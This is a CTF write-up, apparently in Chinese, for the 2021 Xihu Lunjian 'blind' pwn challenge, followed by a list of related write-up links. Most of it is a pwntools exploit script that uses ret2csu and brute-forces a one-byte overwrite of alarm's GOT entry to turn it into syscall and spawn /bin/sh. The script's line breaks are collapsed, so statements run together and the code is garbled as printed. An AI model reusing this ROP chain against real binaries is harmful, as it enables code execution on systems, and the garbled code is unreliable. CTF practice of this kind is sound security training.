2021 西湖论剑 pwn blind

利用ret2csu，覆盖alarm的got表最低一字节，通过爆破劫持alarm为syscall。

通过read函数的返回值让rax为0x5b，执行execve("/bin/sh", 0, 0)

exp

#/usr/env/bin python
from pwn import *
import timecontext.log_level = "debug"gadget1 = 0x4007ba
gadget2 = 0x4007a0elf = ELF('./blind')
read_got = elf.got['read']
read_plt = elf.plt['read']
alarm_plt = elf.plt['alarm']
alarm_got = elf.got['alarm']
bss_addr = elf.bss()i = 1def exp(off):payload = 'a' * 0x58payload += p64(gadget1)payload += p64(0) + p64(1) + p64(read_got)payload += p64(1) + p64(alarm_got) + p64(0)payload += p64(gadget2)payload += p64(gadget1)payload += p64(0) + p64(1) + p64(read_got)payload += p64(0x3b) + p64(bss_addr) + p64(0)payload += p64(gadget2)payload += p64(gadget1)payload += p64(0) + p64(1) + p64(alarm_got)payload += p64(0) + p64(0) + p64(bss_addr)payload += p64(gadget2)payload = payload.ljust(0x500, '\x00')payload += p8(off)payload += "/bin/sh\x00" + 'a' * (0x3b - 8)#gdb.attach(r)#pause()r.send(payload)sleep(1)r.sendline("echo hello!")s = r.recv(10)print sif "hello" in s:r.sendline("ls")r.sendline("cat flag")r.interactive()else:returni = 20
while True:try:global rr = process("./blind")i += 1exp(i)print iexcept:r.close()print 'trying...'

2021 西湖论剑 pwn blind相关推荐

2021西湖论剑wp
web OA?RCE? ⽐赛的时候试了下不是弱⼝令(实际上就是admin123,但当时忘试这个了),所以就去⽹上找了改密码的⽅式,⽤这⾥的⽅法:信呼oa最新版本代码审计 - ma4ter $test ...
WP-2021西湖论剑
2021西湖论剑-wp 前言全靠大佬打,我是划水的. 灏妹的web 页面开发中 Dirsearch扫一下,idea泄露 ezupload 查看页面源代码,发现提示 ?source=1 发现使用_FI ...
2022西湖论剑-初赛CTF部分wp-Zodiac
2022西湖论剑-初赛CTF部分wp-Zodiac 文章目录 2022西湖论剑-初赛CTF部分wp-Zodiac WEB real_ez_node 扭转乾坤 Node Magical Login PW ...
2023西湖论剑wirteup
2023西湖论剑wirteup 文章目录 2023西湖论剑wirteup 机你太美 take_the_zip_easy mp3 Isolated Machine Memory Analysis 前言: ...
2019西湖论剑·网络安全大会开幕安全赋能数字新时代...
2019年4月20日-21日,以"安全:赋能数字新时代"为主题的2019西湖论剑•网络安全大会(以下简称"西湖论剑")在杭州国际博览中心举行.西湖论剑自2012 ...
2019西湖论剑·网络安全大会开幕安全赋能数字新时代
2019年4月20日-21日,以"安全:赋能数字新时代"为主题的2019西湖论剑•网络安全大会(以下简称"西湖论剑")在杭州国际博览中心举行.西湖论剑自2012 ...
远禾科技出席阿里ASRC生态大会并参与安恒西湖论剑...
近日,由阿里安全响应中心举办的2019 ASRC生态大会与安恒承办的2019西湖论剑·网络安全大会在互联网之都杭州成功召开,作为网络安全行业的两大盛会,得到了协会领导.业界权威.行业大咖.领导品牌.企 ...
远禾科技出席阿里ASRC生态大会并参与安恒西湖论剑
近日,由阿里安全响应中心举办的2019 ASRC生态大会与安恒承办的2019西湖论剑·网络安全大会在互联网之都杭州成功召开,作为网络安全行业的两大盛会,得到了协会领导.业界权威.行业大咖.领导品牌.企 ...
2023西湖论剑——misc——MP3
西湖论剑--misc--MP3 附件下载链接:https://pan.baidu.com/s/1A-QFz3qC4Q2mSdZKBYqZNw 提取码:lulu MP3详解这个应该是2023年这一届 ...

2021 西湖论剑 pwn blind

2021 西湖论剑 pwn blind相关推荐

最新文章

热门文章